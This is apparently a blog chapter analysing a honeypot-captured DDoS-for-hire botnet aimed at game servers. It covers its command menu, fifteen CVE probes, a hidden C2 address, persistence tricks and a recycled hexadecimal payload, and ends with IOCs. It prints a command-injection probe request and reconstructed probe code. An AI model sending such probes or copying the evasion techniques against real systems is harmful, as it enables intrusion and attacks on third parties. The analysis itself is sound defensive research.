KHserver · Chapter 12
Nikki, you are loved
The binary arrived unstripped: its author left inside the names of all six hundred and twenty-eight functions he wrote. It is like being handed a closed book with the index stapled to the cover. Here I read it end to end, function by function, until I reach the one string that fitted nowhere.
When I open one of these, the normal thing is to start blind: mountains of assembly, functions called FUN_00129e68, and hours of work to find out which one matters.
Not here. This one came unstripped — the compiler kept the names the author gave every function and nobody removed them before shipping it. 628 functions with their first names on. It's like being handed a closed book with the index stapled to the cover.
I read the index. And that was all it took to know what this thing does for a living.
01The book's index
exploit_dasan_gpon cod_flood killer_loop exploit_huawei fortnite_flood watchdog_maintain exploit_draytek r6_flood scanner_loop exploit_totolink rust_flood report_exploit exploit_tplink vseattack findRandIP exploit_zte udp_amp_flood processCmd exploit_react2shell tls_hello_flood initConnection exploit_cve2025_34152 tcp_synack_flood table_init
Three columns and three answers: who it attacks, who it tries to exploit and how it stays alive. Let's go in order, because the second column is misleading.
02This is sold to drop matches
The processCmd function is the one that interprets what the boss sends. Inside, it is a very long list of comparisons against specific words: the menu of the business.
UDP · CUDP · UDPBYPASS · STD · TCP · CTCP · SYN · ACK · TLS · PATCH
UDP_AMP · UDP_FRAG · UDP_ICMP · UDP_RAND · RESOURCE
TCP_SYNACK · TCP_ACKPSH · TCP_FRAG · TCP_OPT
OVHHEX · NFOHEX · VSE · CVSE · RUST · FORTNITE · COD · R6
SCANNER · TELNET · REP · ON · OFFThe first half is any botnet's generic arsenal: flood with packets one way or another. The second half is the giveaway.
- FORTNITE · COD · R6 · RUST — flood methods tuned for Fortnite, Call of Duty, Rainbow Six and Rust.
- VSE · CVSE — the Valve Source Engine: Counter-Strike, Team Fortress and company.
- OVHHEX · NFOHEX — OVH and NFOservers, the two big game-server hosts. Both advertise DDoS protection; here there are two commands dedicated to getting around it.
Nobody writes a command called FORTNITE by accident. This is not a generic botnet someone uses for whatever comes up: it is a denial-of-service service for hire, aimed at a very specific customer — the one who wants his rival's match to drop. He pays, types COD 1.2.3.4 60, and sixty seconds of somebody else's evening go up in smoke.
03Fifteen exploits with surnames
The other column is a catalogue of vulnerabilities, and there is no guesswork involved either: the author labelled them himself, most with a CVE number, in strings that travel inside the binary.
D-Link_DSL_CVE-2016-20017 Totolink_CVE-2025-28137
Dasan_GPON_CVE-2018-10561 D-Link_CVE-2025-29635
TBK_DVR_CVE-2024-3721 Linksys_CVE-2025-9528
Four-Faith_CVE-2024-12856 CVE-2025-34152
ZTE_ZXV10_RCE React2Shell_CVE-2025-55182Nine years of holes in one file, from 2016 to 2025, and seven of them from the last two years. That already says something: this doesn't look like a kit downloaded and forgotten, but like something somebody maintains.
Two caught my eye. CVE-2025-34152 is an unauthenticated command injection in a Chinese wifi repeater, scoring 9.4. And the last one made me sit up straight.
04The exploit that wasn't
React2Shell —CVE-2025-55182— is about as big as anything that has happened on the web recently: unauthenticated code execution in React Server Components, a perfect 10, CISA's known-exploited catalogue, and half the internet patching in a hurry. Finding it inside a router bot is like opening a plumber's toolbox and finding a sniper rifle.
So I went to read the function. Here it is in full, assembly on the left, reconstructed code on the right:

And this is all it sends:
POST /api/run HTTP/1.1
Host: %s
Content-Type: application/json
Content-Length: 50
{"code":"require('child_process').exec('id')"}Then it looks for the string uid= in the response. If it finds it, it declares victory.
That is not React2Shell. The real vulnerability is an insecure deserialisation in the Flight protocol React uses to serialise its server components; exploiting it requires building a very specific message against a very specific endpoint. What this function does is knock on a door called /api/run and ask whether anyone in there is willing to run whatever it's handed. It's a generic probe, the kind that has been around far longer than that CVE has had a number.
And it works: if I stop at the list of names and never open the function, today I would be writing that this botnet exploits a CVSS 10. I'd have written it in good faith, and it would be false.
05And then I looked at the other fourteen
If one was lying, the rest had to be checked. I opened exploit_dasan_gpon, the 2018 one, which is a real flaw and among the most exploited in the world. And I found exactly the same function, traced over, changing only the text it sends:
fd = socket(AF_INET, SOCK_STREAM, 0); connect(fd, target, 16); sprintf(request, TEMPLATE, ip); send(fd, request, strlen(request), 0); n = recv(fd, response, 1023, 0); close(fd); return strstr(response, "uid=") != NULL; // ← and that's where it ends
All fifteen follow this mould. They connect, ask, check whether the answer carries uid=, close and return true or false. None of them downloads anything. None installs anything. None infects anything.
And what do they do with that true or false? This — the whole of report_exploit, one line:
sockprintf(c2_socket, "REPORT EXPLOIT %s %s:%d", ...);It tells the boss. And that's it.
The botnet is, on top of a weapon, a distributed reconnaissance network — paid for with its victims' bandwidth, who on top of hosting the critter are surveying the internet for its owner free of charge.
Its real propagation is the same as ever, the one that brought it to me: brute force against SSH and telnet with root/root. The old way still works better than the new one.
06The boss doesn't live where I thought
Everything pointed at 213.232.114[.]14, the server handing out the binaries. But on startup, the bot doesn't call there. And its real address appears in no string at all: it is split into four loose numbers and only comes together at the moment of connecting.
szprintf(target, "%d.%d.%d.%d", table_a[i], table_b[i], table_c[i], table_d[i]); connectTimeout(sock, target, 888, 30);
I went to read those four tables in the program's memory. Inside were 45, 95, 168 and 149. And right next to them, the port: 888.
The command server is 45.95.168.149, port 888, hosted in Croatia. And nobody has it on file: zero reports on AbuseIPDB, unknown to abuse.ch, six engines out of seventy-five on VirusTotal. It is the most valuable piece of the whole analysis and precisely the one that shows least.
But look at that [i]. The index goes up on every connection attempt and rolls back to zero at three: the code is written to rotate between four servers. Only one is configured.
The result: this bot gets exactly one shot at finding its boss. If the server is down at that moment, or the network blinks, the infected device sits there calling at impossible doors until somebody unplugs it.
07And then Nikki turned up
With the analysis all but closed, going through leftover strings, I ran into one that fitted nowhere. Not a request, not a command, not an error message. Written character by character in hexadecimal, as if someone hadn't wanted it to stand out.
4E/x31/x6B/x4B/x31/x20/x21/x73/x69/x20/x4D/x33/x75/x79 ... → N1kK1 !si M3uy L0Vr3 <3 Pa2rCH M2 A44rCK
Leetspeak: vowels swapped for numbers, a typo every other word, and a heart in the middle. «Nikki is my love ❤».
And I sat looking at it for a while, honestly. After a whole day taking apart a machine built to ruin strangers' evenings, this turns up. Somebody, somewhere, between a command named after a racial slur and a function for dropping Fortnite servers, stopped to hide the name of the person he likes. I even had the ending of the chapter worked out: the bot goes on circling through routers belonging to people who know nothing about any of this, repeating in hexadecimal that Nikki is his love.
Lovely. And since I had five minutes before writing it, I did what I always do before publishing anything: search for the exact string, in case someone had seen it before.
So much for love.
08Five years earlier, and not his
The same sentence, letter for letter, is documented in an analysis from December 2021. A different botnet, SBIDIOT, attributed to a different person, five years before mine landed in the honeypot.
And there the sentence isn't hidden anywhere: it is the payload sent by the POXI attack command. That is, the contents of the packets the botnet fires at its target.
I ran back to my binary to check who used the string. Here is what Ghidra says:
DATA 00021140 → '4E/x31/x6B/x4B/x31/x20/x21/x73/x69/x20...' used by: UDPBYPASS ← an attack function
Same thing. It isn't a hidden dedication: it's ammunition. It isn't kept so nobody finds it — it's kept to be fired, thousands of times a second, inside the packets that take somebody down.
And the family resemblance doesn't stop there. Compare the two command menus, five years apart:
SBIDIOT: R6 · FN · PUBG · 2K · ARK · BO4 · OVHHEX · NFOV6 · STD · POXI · RAW ... mine: R6 · FORTNITE · COD · RUST · VSE · OVHHEX · NFOHEX · STD · PATCH ...
Same targets, same game-server hosts, some commands with identical names. It's the same lineage. What landed in my honeypot isn't a creation: it's a descendant, with new exploits glued on top and the same old skeleton underneath.
In other words: he copied someone else's love note — and copied it wrong.
09Indicators (IOCs)
| Type | Value |
|---|---|
| Command server (C2) | 45.95.168.149 : 888/TCP (MAXKO d.o.o., AS211619) — on file nowhere |
| C2 protocol | REPORT EXPLOIT %s %s:%d · REPORT TELNET %s:%s:%s:%d · SCANNER TELNET <ON|OFF> · «Telnet brute set to %s» |
| Attack commands | UDP · CUDP · UDPBYPASS · STD · TCP · CTCP · SYN · ACK · TLS · PATCH · RESOURCE · UDP_AMP/FRAG/ICMP/RAND · TCP_SYNACK/ACKPSH/FRAG/OPT · OVHHEX · NFOHEX · VSE · CVSE · RUST · FORTNITE · COD · R6 |
| Embedded exploits (probes) | CVE-2016-20017 · CVE-2018-10561 · CVE-2024-3721 · CVE-2024-12856 · CVE-2025-28137 · CVE-2025-29635 · CVE-2025-9528 · CVE-2025-34152 · CVE-2025-55182 (bogus) · ZTE ZXV10 · Huawei · DrayTek · TP-Link · ADB · DD-WRT |
| Internal marks | KHserverHACKER · KHcommSOCK |
| Masquerades as | khugepaged · kthreadd · kworker · systemd · dbus-daemon |
| Persistence | /dev/watchdog and /dev/watchdog2 · oom_score_adj (so the kernel won't kill it) |
| Built with | Aboriginal Linux (the usual toolchain for kits in this family) |
| UDPBYPASS payload | «4E/x31/x6B/x4B/x31/x20…» — inherited from SBIDIOT (2021), where it was the POXI command's payload |
What stays with me is the picture of an ordinary router, in the living room of someone who knows nothing about any of this, calling port 888 on a machine in Croatia every few seconds to ask whose turn it is today.
And when its turn comes, it will fire thousands of packets a second at the server of somebody who only wanted to play a match. Inside every one of those packets travels a five-year-old love note, written by a different person, for a Nikki who most likely knows nothing about any of it — and which, thanks to some slashes pointing the wrong way, doesn't even read as words any more.
Nikki, you are loved. Badly, but loved.
To be continued — the honeypot is still on. When somebody knocks on another door in an interesting way, there will be a thirteenth chapter. 🍯
Comments